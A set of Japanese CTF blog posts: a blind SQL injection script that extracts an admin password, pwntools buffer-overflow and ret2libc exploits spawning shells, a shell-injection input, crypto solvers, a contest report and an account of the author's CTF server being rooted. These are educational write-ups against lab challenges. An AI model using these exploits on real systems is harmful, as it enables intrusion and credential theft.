adminのpwが分からない？wフッフッフッw
0. もんだい
BambooFox CTF Web "Yet Another Login Page"
青背景に昔のWindowsのフォームみたいなのが動いているやつです．入力しにくい...
ところで，実はこの問題解けてません（は？）adminのpw当ててログインしたのに "Hello admin ｡:.ﾟヽ(*´∀`)ﾉﾟ.:｡" で終わりはないよなあああああ！！！
折角なので pw 特定に使った Blind SQL Injection に関する知見を残しておこうと思います．解法に関係なかったら悲しすぎる
1. ちょっと調査（激ウマギャグ）
まず，HTMLの要素を見てPOSTの要素名がそれぞれ"username" と "password" である事を確認します（入力しづらいし，Pythonからやりたいだろ）
ここから脆弱性の検査に入ります．まずはSQL Injectionを疑ってUsernameに ' を入れてみると...
Internal Server Error
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.
はい，SQL Injectionですね間違いない（確信）．なぜSQLi が効く場合Errorが出るかと言うと，例えば
SELECT username FROM users WHERE username='{$_POST['username']}' AND password='{$_POST['password']}'
のようなSQL文の場合，username に ' を入れると username のシングルクォートが閉じてしまい，以下のような文になってしまうからです．
SELECT username FROM users WHERE username=''' AND password=''
usernameの所がシングルクォート3つになっていておかしいですよね．それでErrorが出たという訳です．
2. もうちょっと調査
（基本事項）
- usernameにadminを入れると，"Wrong password for admin, login from **.***.***.***." と返ってくる．
- admin以外を入れると，"User not found!" と返ってくる．
- 何をしても上の2つとError以外のresponseは返ってこない
- DB上も要素名はusernameとpasswordらしい
ところで，SQLi が効く時に使える魔法の言葉を知っていますか？せーの！
' OR 1=1 --
これは，usernameのシングルクォートを閉じた上で1=1(True)とのORを取る事で必ず真にしてログインできるようにする魔法の言葉です． すごいですね！さっそく入れてみましょう
Wrong password for admin, login from **.***.***.***.
SQLクエリで返ってきたpwとPOSTのpwが一致してないとWrongって出す仕様なのか，pwを特定しない事には入れなさそうな感じがあります．
3. adminのpwが分からない？ｗフッフッフッw
レスポンスが限られている状態でもどうにかしてpwを特定したい時使えるテクがあります．
その名も，"Blind SQL Injection" ！
はかせ「ワシが説明しよう」
こどもたち「はかせー！！」
はかせ「Blind SQL Injectionとは，SQLiで意図的にレスポンスを変化させる事で，pwなどの情報を抜き取るテクニックじゃ．当たり前じゃが，他人のサーバに仕掛けたらダメじゃぞ．でないとワシのように ... (ｶﾞﾁｬ 『警察だ！不正アクセス容疑で...』」
こどもたち「はかせー！！」
それでは，Blind SQLi を使ってadminのpwを抜き取ってやりましょう！！
3-1. Blind SQL Injectionの適用
usernameの中身によるレスポンスの違いを見てみましょう．
' AND 0 OR username='admin' --' AND 0 OR username='admin' AND 0 --
前者は "Wrong password for admin, login from **.***.***.***." , 後者は "User not found!" が返ってきました．
これは，前者は一応SQL文の実行結果としてusername='admin'が返ってきているのに対して，後者はAND 0を取られることによって何も返ってこず，結果的にUser not foundになっていると考えられます．
よって，ANDの後に True/False となる文を入れる事で，意図的にレスポンスを変化させられる事が分かりました！
3-2. pwの長さが分からない？ｗフッフッフッｗ
まずは，pwの長さを特定しましょう．MySQLにはLENGTHという文字列の長さを返してくれる便利な関数があります．これを使うと，例えば
' AND 0 OR (username='admin' AND length(password)>=0) --
ならWrong password，
' AND 0 OR (username='admin' AND length(password)>=1000) --
ならUser not foundが返ってきます．ところで，pwの長さって単調性がありますよね..？
そこで，二分探索をします．つまり，
' AND 0 OR (username='admin' AND length(password)>={mid}) --
でWrong passwordならpwの長さは mid 以上，User not foundなら mid 未満といった具合です．
import requests url="http://chall.ctf.bamboofox.tw:9527/login" def check(data): res=requests.post(url,data) if "Wrong password for admin" in res.text: return True return False ok,ng=0,100 while ng-ok>1: mid=(ok+ng)//2 form={ "username":f"' AND 0 OR username='admin' AND length(password)>={mid} --", "password":"" } if check(form): ok=mid else : ng=mid print(f"[+] LENGTH : {ok}")
$ python3 sql.py [+] LENGTH : 43
結果，pwの長さは43である事が分かりました．
3-3. pwの i 文字目が何か分からない？ｗフッフッフッｗ
もう1つ便利な関数として，SUBSTRがあります．SUBSTR(str , i , j) = str の i 文字目から j 文字切り取った文字列を返します．文字番号は1-indexed なので注意です．
よって，5 文字目が 'A' 以上か判定するには次のような文字列を挿入すれば良いです．
' AND 0 OR username='admin' AND SUBSTR(password,5,1)>='A' --
こちらも単調性があるので，二分探索ができます．
これを1文字目から順番にやって行く事で，pwを特定できます．
import requests url="http://chall.ctf.bamboofox.tw:9527/login" def check(data): res=requests.post(url,data) if "Wrong password for admin" in res.text: return True return False ok,ng=0,100 while ng-ok>1: mid=(ok+ng)//2 form={ "username":f"' AND 0 OR username='admin' AND length(password)>={mid} --", "password":"" } if check(form): ok=mid else : ng=mid print(f"[+] LENGTH : {ok}") length=ok pw="" for i in range(length): ok,ng=0,128 while ng-ok>1: mid=(ok+ng)//2 form={ "username":f"' AND 0 OR username='admin' AND SUBSTR(password,{i+1},1)>=CHAR({mid}) --", "password":"" } if check(form): ok=mid else : ng=mid pw+=chr(ok) print(f"[+] {pw}")
$ python3 sql.py [+] LENGTH : 43 [+] w [+] w1 [+] w1M [+] w1ME [+] w1MEo ... [+] w1MEoJZVmhu2u7GWN6V4SJRTUrLQxDJK9MBCWezdt [+] w1MEoJZVmhu2u7GWN6V4SJRTUrLQxDJK9MBCWezdtO [+] w1MEoJZVmhu2u7GWN6V4SJRTUrLQxDJK9MBCWezdtOo
より，adminのpwを "w1MEoJZVmhu2u7GWN6V4SJRTUrLQxDJK9MBCWezdtOo" と特定する事ができました．やったね！
4. to be continued ...
pw特定したのに解けませんでした．チックショー！！！
JOI 2020/2021 二次予選参加記
当日のムーブとか反省点とかをサラっと。
0. コンテスト前
春合宿特典で本選が確約されているので大して緊張はしなかった。
とは言え、予選落ち春erとなると相応の辱め（あんな事やこんな事や...）を受けるに違いないので、一応精進はしておいた（Mの趣味はないので）。
そもそも春合宿目指してる人が予選落ちは精神的に来るものがあると思う。精神も壊れ、人間関係も壊れ、そして信用も失い、最終的には(ry
11月頭に「11月中に難易度9を1周する！」とか言っておきながら結局終わらず、流石に予選前には終わらせる予定だったのだが今も終わっていない。それもこれもTwitterのせいである。遅くとも今週中には終わらせておきたい所だが、果たして...
1. コンテスト中のムーブ
1.1. 0:00 〜 0:30
取り敢えずA問題を開く。左右でAからの個数が同じ所でやれば良い事が分かったが、実装がかなりダルい。 デバッグとかで20分かけたが、WA。ここに来て、setで殴れば良いことに気づく（遅い）。 考察を詰める前に実装を始めて死ぬ事が最近多いので気をつけたい。
その後7分でAC。時間をかなりロスしてしまった。
1.2. 0:30 〜 1:00
B問題。BFS前処理をすれば良さそうなのはすぐに分かったが、stringでそのままやると3500msくらいかかったので数値で計算する事に。2489msで通す（犯罪）。
数値を10進数にしたのでmapで実装していたが、3進数にしていればlogが落ちてた。3時間中1時間をこの2問で使ってしまったのは痛い。
1.3. 1:00 〜 2:00
C問題にハマる。DPで最大値以外が有利になる場合があると思っていてK=0かで場合分けをした。
実は30分で満点解を実装していたのだが、これがACだと気づくのはだいぶ後である。色々とバグり、最後の小課題を除いた78点を獲得。
1.4. 2:00 〜 2:15
D問題を見ると、見るからに二分探索で嬉しくなる。壊れた電車と設定も似ていたしね
余剰の処理をミスって10分くらい溶かした。一番時間がかからなかった問題である。
1.5. 2:15 〜 2:30
取り敢えずEの小課題1を通した。
E問題を考えたり、C問題に戻ったりしていたが、ここで最大値を持ったDPが大丈夫か試してみようという気持ちになった（英断）。流石に通らないと思っていたら通り、余計な事を考えていた自分を呪った。
1.6. 2:30 〜 3:00
Eが2-SATっぽいので2-SATをしたがダメだった。悲しい...
結果、100+100+100+100+7=407点。
2. コンテスト後
Twitterを眺めていたら予想以上に全完が多くて厳しい気持ちに。
同期で407点の人がかなり多かった（anmichi, boutarou, osmium) 。中1のshiomusubi君が407点を取っていて、こわい。
本選までに難易度10を真面目にやらないと落ちそう。その前にTwitterをなんとかしなければ...
Paken CTF 2020 運営記
1. 概要
10/30 〜 11/1 に筑駒文化祭2020「彩雲」に合わせて Paken CTF 2020を開催しました。
158人110チームからの参加、うち96チームが得点、合計2118件の提出という事で予想以上に参加して頂いてとても嬉しいです。
コンセプトはCTFをやった事がない競プロerなどに楽しんでもらう事でしたが、楽しんでもらえたでしょうか？
運営は中3の私 defineと高1の kenkenken2004 氏、Writerは他にThistle, capra314cabra, autumn_eel, aspiです。サーバーの管理は私が担当しました。
作問は私がpwn & kyoproをメインに、kenkenken2004氏が Crypto, Forensics, OSINTメインという感じです。
私自身CTF初心者でAWSサーバーを建てた事もなく、色々な文献を漁りながら手探りでやっていました。知識不足で色々と重大な事故を起こしかねないようなインシデントも起こしてしまったので、自戒の念も込めて運営記を書こうと思います。
2. CTF開催の経緯
昨年までパ研は競プロ傾倒だったので、今年からはアルゴリズム班・セキュリティ班・CG班などに分かれて活動しています。その1つであるセキュリティ班で今回CTF開催をするに至りました。そこまでの経緯を簡単に紹介します。
2.1. 9/29
文化祭でPaken CTF開催してみない？という流れになりました。この時点では、pwn はサーバーに侵入されたら怖いからやめよーみたいな感じでやる予定はありませんでした（伏線）。
2.2. 10/7
開催するCTFをPaken CTFと名付けて、具体的にスケジュールなどを作成しました（なお、全く守れなかった）。技術的には、AWSで開催しようくらいまでは決まっていました。
ここら辺からちょっとずつ作問を始めて行きました。
2.3. 10/11
AWSのEC2を建てるにはクレジットカードが必要な事に気づきました。そこで、顧問の先生にクレジットカードでサーバー費の立て替えを依頼しました。
2.4. 10/21
本来ならとっくにサーバーを建て終わってる予定だったんですが、クレジットカードの話が難航してサーバーを全く建てられておらず、サイトに問題と解説を載せるだけになる可能性も示唆されました。
2.5. 10/24
なんとか先生にカードを入れて頂き、ここからサーバー作業スタート。
AWSでCTFの大会を開催するまでの道のり - アオカケスの鳥かご に沿ってどうにかサーバーを建てました。極度感謝！
というか、ここからよく本番に間に合ったなって感じですね。
2.6. 10/27
xinetd と chroot を使えばサーバープログラムを安全に、簡単に動かせる（伏線その2）事を知りpwnなどのインタラクティブ系の作問を開始しました。遅すぎ...
chrootとxinetdで脆弱なプログラムを動かす - mrtc0.log
2.7. 10/30
当日、文化祭で出かける直前になってclarをFLAGと同じフォームで提出はヤバイと気づきDiscordサーバーを建てました（英断）。
3. pwnの運用
pwnの運用について軽く自分のやった方法を紹介します。良いか悪いかは置いといて。
プログラムと同じ場所にflag.txt , /lib, /lib64と必要な /binを置いてchrootするのをxinetdでやって運用しました。これ、libのコピーで1問ごとに1GB弱食うのでもうちょっといい方法無いですかね？Docker何も分からん
4. 事案集
今回私は色々やらかしてるんですが、その中でもトップ3を紹介します。
4.1. スタート時間を間違える ヤバイ度 ☆☆☆☆★
文化祭のスタートは9:00だと思ってCTFもそれに合わせたんですが、実際は9:30でした。
これは大して問題ではありませんでした。
4.2. サーバーを落とす ヤバイ度 ☆☆★★★
10/31 15:45〜16:10 くらいまでサーバーを落としてしまいました。
落ちる前からだんだんSSHでの操作が重くなっていたのは分かっていたんですが、pwnの接続テストをしたら全く動かなくなりました。
後述の4.3の対応中で、SSHも繋がらない状態になったのでかなり焦りました。結局、EC2のインスタンスを再起動したら直りました。めでたしめでたし。
4.3. サーバーのrootを取られる ヤバイ度 ★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
はい、サーバー乗っ取られました（伏線回収）。これ乗っ取った人がいい人だったので取ったどー（意訳）って親切に教えてくれたんですが、ヤバイ人だったら完全にサーバー壊されてましたね。
Discordの参加者サーバーで「スコアサーバーの管理者に連絡がある」という事で何かを察し、恐る恐るDMを見ると「root取ったどー（意訳）」だったのでマジで心臓止まるかと思いました。
pwnの"libc"という問題でシェル取った後悪さができないようにbinの中身を疑似シェルだけにしてたんですが、なぜかchrootできたっぽいんですよね。なんでだろ？しかも脆弱性のあるプログラムを動かすのに使ったchrootはプログラムもrootで動くので、chrootもう1回するとchroot抜けられるという... 結局、プログラムを実行前にsu ctf(一般ユーザー）して解決しました。
root取られた事でFLAGも全て見れる状態になったようで、スコアサーバーと問題サーバーは変えた方が良いとアドバイスを頂きました。ちなみに、root取っても普通に問題は解かれていたそうです。
執行部内で話したら爆笑してましたが、これで事故起こしてたら笑い事じゃ済まないんですよね。 皆さん、権限不備には気をつけましょう！！
5. 良かった所
AWSなどサーバーに関する知識を色々と学べた事、何よりもCTFを実際に開催する事ができたのは非常に良かったと思っています。
あと、直前ではあったんですがpwnなどのインタラクティブ系の問題を出せたのも大きかったです。元々なしの予定だったので...。pwnのないCTFは面白くないですしね！
6. 反省点
これはアンケートで多く意見を頂いた事なんですが、guess問が多すぎるという事です。これは主にCryptoの話なんですが、実は私kenkenken2004氏作問の問題をほとんど解いていませんでした。解いてないというか解けないという感じなんですが。全完されて焦ってレビューなしでバンバン問題を上げてしまった事で、かえってクオリティを下げる結果となってしまったかなという感じです。逆に、pwn問やkyopro問は私以外ほとんど解いてない状況だったのでこっちも然りです。
あと、サーバーのセキュリティがガバガバ過ぎた事は猛省です。セキュリティの知識が欠如している状態でパブリックなサーバー、しかもpwnサーバーを運用するのはかなり危険。
「疑似シェルしか立ち上げられないし、rootで動かしてもヨシ！」は本当にダメ。
今回、身を持ってセキュリティの重要性を実感する結果となりました。今度また開催する時があれば、今回の反省を活かしたいと思います。
7. 感想
なんやかんやありましたが、全体的には大きな事故なく上手く行って良かったと思います。これを機に、CTFに興味を持って頂けたらこれ以上嬉しいことはありません。
文化祭も終わったのでもうJOI精進期間ですね。春合宿が終わったらまたCTF再開しようと思います。
b01lers bootcamp CTF 参加記 & Writeup
0. 雑
全然暇ではないけど、暇潰しに参加しました。
正の得点を得た人515人中74位だったんですが、多分真面目にガチ参加している人はあまりいないと思います（失礼）。
1. Crypto
1.1. Dream Stealing
Modulus: 98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227 One factor of N: 9695477612097814143634685975895486365012211256067236988184151482923787800058653259439240377630508988251817608592320391742708529901158658812320088090921919 Public key: 65537 Ciphertext: 75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483
い つ も の
\(N,P\) が分かっているので、\(P,Q\) が分かり、秘密鍵である \(d\) も分かります。後は復号しておしまい。
from Crypto.Util.number import inverse,long_to_bytes n=98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227 e=65537 c=75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483 p=9695477612097814143634685975895486365012211256067236988184151482923787800058653259439240377630508988251817608592320391742708529901158658812320088090921919 q=n//p phi=(p-1)*(q-1) d=inverse(e,phi) m=pow(c,d,n) flag=long_to_bytes(m).decode() print(flag)
1.2 Clear the Mind
n = 102346477809188164149666237875831487276093753138581452189150581288274762371458335130208782251999067431416740623801548745068435494069196452555130488551392351521104832433338347876647247145940791496418976816678614449219476252610877509106424219285651012126290668046420434492850711642394317803367090778362049205437 c = 4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821 e = 3
\(e\) が小さく、\(c\) が \(n\) より明らかに小さいので、元の文は \(c\) の三乗根っていういつもの。
from Crypto.Util.number import inverse,long_to_bytes c=4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821 ok=4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821 ng=0 while ok-ng>1: mid=(ok+ng)//2 if mid*mid*mid>=c: ok=mid else : ng=mid print(long_to_bytes(ok).decode())
1.3. Shared Dreaming
Hint 1: a1 ⊕ a2 ⊕ a3 ⊕ a4 = 8ba4c4dfce33fd6101cf5c56997531c024a10f1dc323eb7fe3841ac389747fb90e3418f90011ef2610fa3636cd6cf0002d19faa30d39161fbd45cc58abff6a84 Hint 2: a2 ⊕ a3 ⊕ a4 = f969375145322aba697ce9b4e00aa88e81ffe5c306b1b98148f33c4581b2ac39bc95f13b27c39f2311a590b7e27cdbdb7599f615acd70c45378e44fb319b8cb6 Hint 3: a1 ⊕ a3 = 855249b385f7b1d9923f71feb3bdee1032963ab51aa7b9d89a20c08c381e77890aa8849702d8791f8e636e833928ba6ea44c5f261983b7e29bd82e44b77fe03b Ciphertext: flag ⊕ a3 ⊕ RandByte = f694bc3d12a0673aead8fc4fdf964f5ec0c1d938e722bf333000f300088ead0dec1e7e03720331098068c13a066ca9bca89850a8ee67feb8471af5f47b4c0f13 Where RandByte[0] == RandByte[1] and len(RandByte) == len(flag)
Hint 1,2,3 より a3 が分かり、flag ⊕ RandByteの値も分かります。flagの接頭辞はどうせflag{ だろうと思ってxorを取るとどれも g になったので、RandByteの値は g と分かります。後は全文を g で xor を取っておしまい。
from Crypto.Util.number import long_to_bytes hint1=0x8ba4c4dfce33fd6101cf5c56997531c024a10f1dc323eb7fe3841ac389747fb90e3418f90011ef2610fa3636cd6cf0002d19faa30d39161fbd45cc58abff6a84 hint2=0xf969375145322aba697ce9b4e00aa88e81ffe5c306b1b98148f33c4581b2ac39bc95f13b27c39f2311a590b7e27cdbdb7599f615acd70c45378e44fb319b8cb6 hint3=0x855249b385f7b1d9923f71feb3bdee1032963ab51aa7b9d89a20c08c381e77890aa8849702d8791f8e636e833928ba6ea44c5f261983b7e29bd82e44b77fe03b hint4=0xf694bc3d12a0673aead8fc4fdf964f5ec0c1d938e722bf333000f300088ead0dec1e7e03720331098068c13a066ca9bca89850a8ee67feb8471af5f47b4c0f13 a1=hint1^hint2 a3=hint3^a1 hint5=hint4^a3 def xor(msg, key): o = '' for i in range(len(msg)): o += chr(ord(msg[i]) ^ ord(key[i % len(key)])) return o hint6=long_to_bytes(hint5).decode() print(xor(hint6,"g"))
1.4. Train of Thought
dream dreams fantasticalities a neuropharmacologist neuropharmacy neuroharmacy psychopathologic oneirologic dichlorodiphenyltrichloroethane dichlorodiphenyltrichloroe chlorophenyltrichloroe chloromethanes fluorines cytodifferentiated differentiated
一見意味不明ですが、それぞれの編集距離を取るとなんと文が現れます（完全にエスパー）
from functools import lru_cache @lru_cache(maxsize=4096) def ld(s, t): if not s: return len(t) if not t: return len(s) if s[0] == t[0]: return ld(s[1:], t[1:]) l1 = ld(s, t[1:]) l2 = ld(s[1:], t) l3 = ld(s[1:], t[1:]) return 1 + min(l1, l2, l3) message="dream dreams fantasticalities a neuropharmacologist neuropharmacy neuroharmacy psychopathologic oneirologic dichlorodiphenyltrichloroethane dichlorodiphenyltrichloroe chlorophenyltrichloroe chloromethanes fluorines cytodifferentiated differentiated" m=message.split() ans=[] for i in range(len(m)-1): print(chr(0x60+ld(m[i],m[i+1])),end='') print("")
1.5. Totem
bacon , Base64 , atbash , rot13 の4種類のクエリが1000件飛んでくるので、全部正しく処理するとFLAGが得られます。競プロか？？？
虚無なのでコードは省略
2. Crypto World
mini問題集です。CRTとextGCDが大いに役に立ちました。月刊競技プログラミングは役に立つ
3. Misc
Misc とは言ってますが、ほとんどForensicsだと思います。
3.1. Echoes of Reality
音声スペクトル見るとFLAGが書いてあるやつ、ほとんどのCTFで見るんですが様式美ですか？笑
3.2. Granular Data
exiftool で exif を見ると flag が書かれています。
3.3. Needle In A Haystack
大量のテキストファイルが渡されますが、grep で flag 探せば一瞬です。
3.4. Zima Blue
明らかに隠したような画像ファイルだったので、Stegsolveだとエスパーしたら当たりました。
4. pwn
4.1. Metacortex
リバーシングしたら、時によって正しい入力が違いました（？？？）
正しい入力の範囲が大体分かっていたので、ブルートフォースしました。正解法、なんだろう...
from pwn import * for i in range(0x5500,0x5700): print(i) p=remote("chal.ctf.b01lers.com",1014) p.sendlineafter(b"Work for the respectable software company, Neo.\n",str(i)) try: p.sendline("echo flag") if b"flag" in p.recv(): p.interactive() exit(0) except: pass
4.2. There is no Spoon
#include <stdio.h> #include <unistd.h> #include <string.h> #include <stdlib.h> char * xor(char * src, char * dest, int len) { for(int i = 0; i < len - 1; i++) { dest[i] = src[i] ^ dest[i]; } dest[len-1] = 0; return dest; } int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); char buffer[256]; int len = 256; printf("Neo, enter your matrix: "); len = read(0, buffer, len); char * buffer2 = malloc(strlen(buffer)); int * changeme = malloc(sizeof(int)); *changeme = 255; printf("Reality: %d\n", *changeme); printf("Make your choice: "); len = read(0, buffer2, len); printf("Now bend reality. Remember: there is no spoon.\n"); char * result = xor(buffer2, buffer, len); printf("Result: %s\n", result); printf("Reality: %d\n", *changeme); if (*changeme != 0xff) { system("/bin/sh"); } }
見た感じ脆弱性がなさそうに見えますが、
char * buffer2 = malloc(strlen(buffer));
が脆弱性です。read で返される長さは文字列中に Null byteが入っていても数えますが、strlen で返されるのは Null byteまでです。そのため、bufferに '\x00' を送りつけることで
len = read(0, buffer2, len);
でBuffer Over Flowが引き起こされ、changemeを変える事ができました。
4.3. The Oracle
ただのBuffer Over Flow → 関数呼び出し。特に言うことなし
from pwn import * elf=ELF("./elf") p=remote("chal.ctf.b01lers.com",1015) payload=b"A"*24 payload+=p64(0x004010e4) payload+=p64(elf.symbols['win']) p.sendline(payload) p.interactive()
4.4. White Rabbit
どうやら入力したパスのファイルを cat で出力しているっぽいんですが、flag という文字列を含む事はできません。
ソースコードを読むと、
[ -f input] && cat 'input' || echo File does not exist. みたいなコマンドで実行していたので、インジェクションができて
'];/bin/sh; と入力するとシェルを起動できます。あとは cat flag.txt するだけです。
4.5. See for Yourself
#include <stdio.h> #include <unistd.h> #include <stdlib.h> char * binsh = "/bin/sh"; int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); system(NULL); char * shellcode[0]; printf("Unfortunately, no one can be told what the Matrix is. You have to see it for yourself.\n"); read(0, shellcode, 64); }
ご丁寧に '/bin/sh' まで用意されているので、普通に Buffer Over Flow → system@plt するだけです。リバーシングしなくても脆弱性攻撃だけで行けるタイプの問題は得意です。
from pwn import * elf=ELF("./elf") #p=process("./elf") p=remote("chal.ctf.b01lers.com",1008) payload=b"A"*8 payload+=p64(0x0040101a) # ret payload+=p64(0x00401273) # pop rdi; ret; payload+=p64(next(elf.search(b'/bin/sh'))) payload+=p64(0x000000000401080) # system@plt p.sendline(payload) p.interactive()
5. Rev,Web
あんまり解けませんでした。 (ﾉ∀`)ｱﾁｬｰ
libcを特定する一般的なテク
0. はじめに
Buffer Over Flow 系のpwn やってて、こんな事を考えた事はありますか？僕はあります。
ヨシ、gdb で入力からリターンアドレスまでのオフセットを特定！後は system('/bin/sh') 起動するだｋ... libcが配られてなあァァい！！
そうです、ほとんどの問題でASLRが有効となり、猫も杓子も libc_base の時代に libc があるかは死活問題。しかし、逆に言えば libc_base と libc さえ特定してしまえば後は何とかなります（要出典）。
というわけで、 libc を特定する一般的なテクについての紹介です（かなり有名ではある）。
問題は、Dark CTF の roprop です。
1. 入力からリターンアドレスまでのオフセットを取得しよう
はい、Buffer Over Flow系の問題の基本ですね。gdb-peda は必ず入れておきましょう。
pattern_create [n] → 入力 → patto [rspの値 (32bitならeip) ] の流れです。
はい、ここでは88文字と分かりました。
2. objdumpで流れを把握しよう
objdump -d -M intel [ファイル名] です。-M intel は Intel 記法にするおまじないです。
大体 puts → gets 以外に重要なものはなさそうです。
3. ROP で puts@GOT の中身を取得しよう
GOTアドレスの先には、その関数の本当の場所のアドレスが入っており、puts や system などの libc 系の関数の場合、それは libc_base + libc内の関数アドレス になります。
要は、取り敢えず puts のアドレスを取得しようという事です。
Buffer Over Flowでリターンアドレスの書き換えができるので、puts(puts@GOT) を呼び出せば puts@GOT の中身を知る事ができます！
64bit なので、Stack align で ret を挟むのを忘れずに（おまじない）
関数のアドレスを吐かせる時には、必ずローカルではなく本番環境で行って下さい。ローカルのlibcを特定しても何も意味がありません。
from pwn import * elf=ELF("./roprop") p=remote("pwn.darkarmy.xyz",5002) context(os="linux",arch="amd64") payload=b"A"*88 rop=ROP(elf) rop.raw(rop.find_gadget(['ret'])) rop.puts(elf.got['puts']) log.info(rop.dump()) payload+=rop.chain() p.sendlineafter(b"19's.\n\n",payload) puts_addr=u64(p.recvline()[:8].strip().ljust(8,b'\x00')) log.info(hex(puts_addr))
はい、これで puts@GOT の中身を知る事ができました。
4. libc Database で libc , libc_base を特定しよう
世の中便利なもので、先程のputsのアドレスだけで libc を大体特定する事ができます。2択くらいになる事はありますが、まぁそれくらいは頑張りましょう...
今回は libc6_2.27-3ubuntu1.2_amd64 と特定できたので、これをダウンロードします。
libc が分かった所で、libc_base を特定する事ができます！関数のアドレスは libc_base + libc内の関数アドレスな事を思い出して下さい。
from pwn import * elf=ELF("./roprop") p=remote("pwn.darkarmy.xyz",5002) context(os="linux",arch="amd64") payload=b"A"*88 rop=ROP(elf) rop.raw(rop.find_gadget(['ret'])) rop.puts(elf.got['puts']) log.info(rop.dump()) payload+=rop.chain() p.sendlineafter(b"19's.\n\n",payload) puts_addr=u64(p.recvline()[:8].strip().ljust(8,b'\x00')) log.info(hex(puts_addr)) libc=ELF("./libc6_2.27-3ubuntu1.2_amd64.so") libc.address=puts_addr-libc.symbols['puts'] log.success(hex(libc.address))
libc_base は 下3桁が0な事が知られているので、ちゃんと特定できている事が分かります。なお、ASLR が有効なのでlibc_base は毎回変化する事に注意しましょう。
5. いざ、system('/bin/sh')
さて、後は libc_base を利用して system('/bin/sh') を呼び出すだけです。あれ、main 関数終わったんじゃ...と思った人もいるかもしれませんが、puts を呼び出す事ができるようにmain関数を呼び出す事もできます！
というわけで、2周目の main 関数の後で system('/bin/sh') を呼び出します。
from pwn import * elf=ELF("./roprop") #p=process("./roprop") p=remote("pwn.darkarmy.xyz",5002) context(os="linux",arch="amd64") # 1周目 payload=b"A"*88 rop=ROP(elf) rop.raw(rop.find_gadget(['ret'])) rop.puts(elf.got['puts']) rop.main() log.info(rop.dump()) payload+=rop.chain() p.sendlineafter(b"19's.\n\n",payload) puts_addr=u64(p.recvline()[:8].strip().ljust(8,b'\x00')) log.info(hex(puts_addr)) libc=ELF("./libc6_2.27-3ubuntu1.2_amd64.so") libc.address=puts_addr-libc.symbols['puts'] log.success(hex(libc.address)) # 2周目 rop2=ROP(libc) payload=b"A"*88 rop2.system(next(libc.search(b"/bin/sh\x00"))) log.info(rop2.dump()) payload+=rop2.chain() p.sendlineafter(b"19's.\n\n",payload) p.interactive()
というわけで、無事に シェルを起動できました。やったね！
pwntools のROP機能 を使うと、このように良くも悪くも関数呼び出し系のルールがうろ覚えでも何とかなってしまいます。なので、多分最初の内はpwntools の ROP 機能は使わない方がいいかも...
もっと最初で、pwn始めたばっかり！ってレベルの時は、そもそもpwntoolsを使うのもあんまり良くない気がします。
BOF問で、SSP & PIE 無効 & 何らかの入力と出力がある問題は広く使えると思うので、覚えておくといいかもしれません！
Dark CTF 2020 参加記 , Writeup
0. 雑
APIO終わってから全然CTFやってなかったので、現実t 暇つぶしがてら久しぶりにやってみました。
全体としては、72問中18問と丁度1/4解けたので結構良かったかなと思います。
順位は 808チーム中 124 位でした。今回はソロプレイだったんですが、パ研のセキュリティ班にCTFが布教できたらチームプレイもやってみたい所です。
1. Crypto [3/10]
1-1. Pipe Rhyme
公開鍵 n,e と暗号文 c が与えられるので、復号する問題。なんか値が16進数になってるので分かりにくいですが、eが65537なので既知の解き方で解けそうだと思い 、RsaCtfTool に投げたら解けました（？？？）
N=0x3b7c97ceb5f01f8d2095578d561cad0f22bf0e9c94eb35a9c41028247a201a6db95f e=0x10001 ct=0x1B5358AD42B79E0471A9A8C84F5F8B947BA9CB996FA37B044F81E400F883A309B886
1-2. Easy RSA
Nが与えられていませんが、e=3 と小さいので 暗号文は平文の3乗とエスパー。
c=70415348471515884675510268802189400768477829374583037309996882626710413688161405504039679028278362475978212535629814001515318823882546599246773409243791879010863589636128956717823438704956995941 ok,ng=0,70415348471515884675510268802189400768477829374583037309996882626710413688161405504039679028278362475978212535629814001515318823882546599246773409243791879010863589636128956717823438704956995941 while ng-ok>1: mid=(ok+ng)//2 if mid*mid*mid<=c: ok=mid else : ng=mid print(ok) from Crypto.Util.number import inverse,long_to_bytes flag=long_to_bytes(ok).decode() print(flag)
1-3. WEIRD ENCRYPTION
暗号化プログラムと、暗号後のテキストが与えられるので、それを復号する問題です。
0 〜 0x100 まで全探索して、詰まったら戻るみたいなソルバーを書きました。
月刊競技プログラミングは役に立つ！！
配布された暗号化プログラム
prefix="Hello. Your flag is DarkCTF{" suffix="}." main_string="c an u br ea k th is we ir d en cr yp ti on".split() clear_text = prefix + flag + suffix enc_text = "" for letter in clear_text: c1 = ord(letter) / 16 c2 = ord(letter) % 16 enc_text += main_string[c1] enc_text += main_string[c2] print enc_text
ソルバー
